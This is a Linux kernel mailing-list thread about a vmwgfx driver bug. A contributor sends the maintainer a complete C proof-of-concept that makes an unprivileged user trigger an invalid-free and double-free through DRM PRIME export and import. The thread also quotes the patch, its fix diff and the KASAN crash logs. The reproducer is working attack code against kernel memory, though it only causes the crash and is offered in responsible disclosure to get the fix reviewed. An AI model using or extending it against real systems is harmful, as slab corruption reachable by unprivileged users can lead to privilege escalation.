Hi Zack,

Sure — here is a standalone reproducer that triggers the invalid-free.
It only needs a vmwgfx render node and runs as an unprivileged user:

gcc -O2 -Wall -o poc_sgtable poc_sgtable.c
./poc_sgtable /dev/dri/renderD128

Steps:
1. Allocate a BO on fd1 (DRM_VMW_ALLOC_BO).
2. mmap + write to populate TTM pages and trigger vmw_ttm_map_dma(),
which sets vsgt.sgt = &vmw_tt->sgt (the embedded member).
3. PRIME-export the handle (PRIME_HANDLE_TO_FD).
4. PRIME-import on a second fd (PRIME_FD_TO_HANDLE). This calls
drm_gem_map_dma_buf() -> vmw_gem_object_get_sg_table(), which
returns the embedded &vmw_tt->sgt.
5. Close fd2. The detach path in drm_gem_unmap_dma_buf() does:
sg_free_table(sgt); /* destroys vmwgfx's own scatterlist */
kfree(sgt); /* kfree on interior pointer */

With KASAN the result is immediate:

BUG: KASAN: invalid-free in drm_gem_unmap_dma_buf+0xb3/0xf0
Free of addr ffff888008290450 by task poc_sgtable/321
kasan_report_invalid_free+0x94/0xc0
kfree+0x103/0x360
drm_gem_unmap_dma_buf+0xb3/0xf0
dma_buf_detach+0x165/0x510

Without KASAN, the double-free silently corrupts the kmalloc-192 slab
(the freed pointer is 80 bytes inside the 144-byte vmw_ttm_tt object).

I will follow up with full igt vmwgfx results once I have the test VM
configured; in the meantime the splat above is from 6.12.101 with
CONFIG_KASAN=y.

Re your request for the other patch (GB-surface backup NULL check):
I will prepare a similar standalone test for that one as well.

The PoC source is below.

Thanks,
Aldo

---8<--- poc_sgtable.c ---8<---

#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <drm/drm.h>
#include <drm/vmwgfx_drm.h>

#define PAGE_SIZE 4096

#define DRM_IOCTL_VMW_ALLOC_BO \
DRM_IOWR(DRM_COMMAND_BASE + DRM_VMW_ALLOC_BO, \
struct drm_vmw_alloc_bo_req)

struct vmw_alloc_bo_arg {
struct drm_vmw_alloc_bo_req req;
struct drm_vmw_bo_rep rep;
};

static int vmw_alloc_bo(int fd, uint32_t size, uint32_t *handle,
uint64_t *map_handle)
{
struct vmw_alloc_bo_arg arg;

memset(&arg, 0, sizeof(arg));
arg.req.size = size;

if (ioctl(fd, DRM_IOCTL_VMW_ALLOC_BO, &arg) < 0)
return -errno;

*handle = arg.rep.handle;
*map_handle = arg.rep.map_handle;
return 0;
}

static int prime_handle_to_fd(int fd, uint32_t handle, int *prime_fd)
{
struct drm_prime_handle args = {
.handle = handle,
.flags = DRM_CLOEXEC | DRM_RDWR,
};

if (ioctl(fd, DRM_IOCTL_PRIME_HANDLE_TO_FD, &args) < 0)
return -errno;

*prime_fd = args.fd;
return 0;
}

static int prime_fd_to_handle(int fd, int prime_fd, uint32_t *handle)
{
struct drm_prime_handle args = {
.fd = prime_fd,
};

if (ioctl(fd, DRM_IOCTL_PRIME_FD_TO_HANDLE, &args) < 0)
return -errno;

*handle = args.handle;
return 0;
}

int main(int argc, char *argv[])
{
const char *dev = argc > 1 ? argv[1] : "/dev/dri/renderD128";
int fd1, fd2, prime_fd = -1;
uint32_t handle1 = 0, handle2 = 0;
uint64_t map_handle = 0;
void *map;
int ret;

printf("vmwgfx sg_table interior-pointer kfree PoC\n");
printf("Device: %s\n\n", dev);

fd1 = open(dev, O_RDWR);
if (fd1 < 0) { perror("open fd1"); return 1; }
fd2 = open(dev, O_RDWR);
if (fd2 < 0) { perror("open fd2"); return 1; }

ret = vmw_alloc_bo(fd1, PAGE_SIZE, &handle1, &map_handle);
if (ret) { fprintf(stderr, "alloc_bo: %s\n", strerror(-ret)); return 1; }
printf("[+] BO allocated: handle=%u map_handle=0x%llx\n",
handle1, (unsigned long long)map_handle);

map = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED,
fd1, map_handle);
if (map == MAP_FAILED) { perror("mmap"); return 1; }
memset(map, 0x41, PAGE_SIZE);
munmap(map, PAGE_SIZE);
printf("[+] Buffer populated (DMA mapped)\n");

ret = prime_handle_to_fd(fd1, handle1, &prime_fd);
if (ret) { fprintf(stderr, "PRIME_HANDLE_TO_FD: %s\n", strerror(-ret));
return 1; }
printf("[+] PRIME exported: prime_fd=%d\n", prime_fd);

ret = prime_fd_to_handle(fd2, prime_fd, &handle2);
if (ret) {
fprintf(stderr, "PRIME_FD_TO_HANDLE: %s\n", strerror(-ret));
printf("[!] Import failed -- check dmesg for KASAN: invalid-free\n");
} else {
printf("[+] PRIME imported on fd2: handle=%u\n", handle2);
}

close(fd2);
printf("[+] fd2 closed -- check dmesg for:\n");
printf(" BUG: KASAN: invalid-free in drm_gem_unmap_dma_buf\n");

close(prime_fd);
close(fd1);
return 0;
}

On Wed, Sep 23, 2026 11:38 AM, Zack Rusin <[email protected]> wrote:

> On Wed, Sep 23, 2026 at 8:26 AM Aldo Ariel Panzardo <[email protected]>
> wrote:
> >
> > vmw_gem_object_get_sg_table() returns vmw_tt->vsgt.sgt when the buffer
> > object has already been DMA mapped.  vmw_ttm_map_dma() sets that field
> > to &vmw_tt->sgt, which is a member embedded inside the struct
> > vmw_ttm_tt allocation and not a table of its own.
> >
> > The core owns whatever .get_sg_table returns.  drm_gem_map_dma_buf()
> > takes the table and drm_gem_unmap_dma_buf() destroys it in full:
> >
> >         dma_unmap_sgtable(attach->dev, sgt, dir,
> DMA_ATTR_SKIP_CPU_SYNC);
> >         sg_free_table(sgt);
> >         kfree(sgt);
> >
> > Both are ops of drm_gem_prime_dmabuf_ops, so the core ends up calling
> > kfree() on &vmw_tt->sgt, which is not the start of an allocation.  The
> > preceding sg_free_table() also destroys a scatterlist that vmwgfx still
> > considers its own and frees again from vmw_ttm_unmap_dma().
> >
> > drm_gem_unmap_dma_buf() runs from dma_buf_detach(), including the
> > importer's error path, so a failed import is enough to reach it:
> > exporting a bound buffer with DRM_IOCTL_PRIME_HANDLE_TO_FD and
> > importing it on a second DRM device with DRM_IOCTL_PRIME_FD_TO_HANDLE
> > is sufficient.  Both ioctls are DRM_RENDER_ALLOW.
> >
> > Observed on 6.12.101 with KASAN, as uid 65534:
> >
> >   BUG: KASAN: invalid-free in drm_gem_unmap_dma_buf+0xb3/0xf0
> >   Free of addr ffff888008290450 by task poc_mm04_sgtabl/321
> >   CPU: 1 UID: 65534 PID: 321 Comm: poc_mm04_sgtabl Not tainted 6.12.101
> #4
> >    kasan_report_invalid_free+0x94/0xc0
> >    check_slab_allocation+0x116/0x120
> >    kfree+0x103/0x360
> >    drm_gem_unmap_dma_buf+0xb3/0xf0
> >    dma_buf_detach+0x165/0x510
> >    drm_gem_prime_import_dev+0x33e/0x430
> >   which belongs to the cache kmalloc-192 of size 192
> >   The buggy address is located 80 bytes inside of
> >    144-byte region [ffff888008290400, ffff888008290490)
> >
> > 80 is offsetof(struct vmw_ttm_tt, sgt) and 144 is sizeof(struct
> > vmw_ttm_tt), which identifies the freed pointer as the embedded member.
> >
> > Always return a table the core can own, as the other drivers do.
> > Reusing the cached representation would require copying it into a
> > freshly allocated sg_table, never returning the alias.
> >
> > Fixes: 8afa13a0583f ("drm/vmwgfx: Implement DRIVER_GEM")
> > Cc: [email protected]
> > Signed-off-by: Aldo Ariel Panzardo <[email protected]>
> > ---
> >  drivers/gpu/drm/vmwgfx/vmwgfx_gem.c | 11 +++++++----
> >  1 file changed, 7 insertions(+), 4 deletions(-)
> >
> > diff --git a/drivers/gpu/drm/vmwgfx/vmwgfx_gem.c
> b/drivers/gpu/drm/vmwgfx/vmwgfx_gem.c
> > index 39f8c4655..a0233729b 100644
> > --- a/drivers/gpu/drm/vmwgfx/vmwgfx_gem.c
> > +++ b/drivers/gpu/drm/vmwgfx/vmwgfx_gem.c
> > @@ -73,10 +73,13 @@ static struct sg_table 
> > *vmw_gem_object_get_sg_table(struct
> drm_gem_object *obj)
> >         struct vmw_ttm_tt *vmw_tt =
> >                 container_of(bo->ttm, struct vmw_ttm_tt, dma_ttm);
> >
> > -       if (vmw_tt->vsgt.sgt)
> > -               return vmw_tt->vsgt.sgt;
> > -
> > -       return drm_prime_pages_to_sg(obj->dev, vmw_tt->dma_ttm.pages,
> vmw_tt->dma_ttm.num_pages);
> > +       /*
> > +        * Do not return &vmw_tt->sgt: the core owns what this returns
> and
> > +        * drm_gem_unmap_dma_buf() sg_free_table()s and kfree()s it, but
> that
> > +        * sg_table is embedded in the vmw_ttm_tt allocation.
> > +        */
> > +       return drm_prime_pages_to_sg(obj->dev, vmw_tt->dma_ttm.pages,
> > +                                    vmw_tt->dma_ttm.num_pages);
> >  }
> >
> >  static int vmw_gem_vmap(struct drm_gem_object *obj, struct iosys_map
> *map)
> > --
> > 2.43.0
> >
>
> Thank you. Because of the influx of llm patches it's very hard to
> reason about what's valid and what's not if it comes without a
> reproducible testcase. Could you please add an igt testcase for this
> and then include the full igt results for vmwgfx before and after this
> change? Same for your other change.
>
> z
>

Reply via email to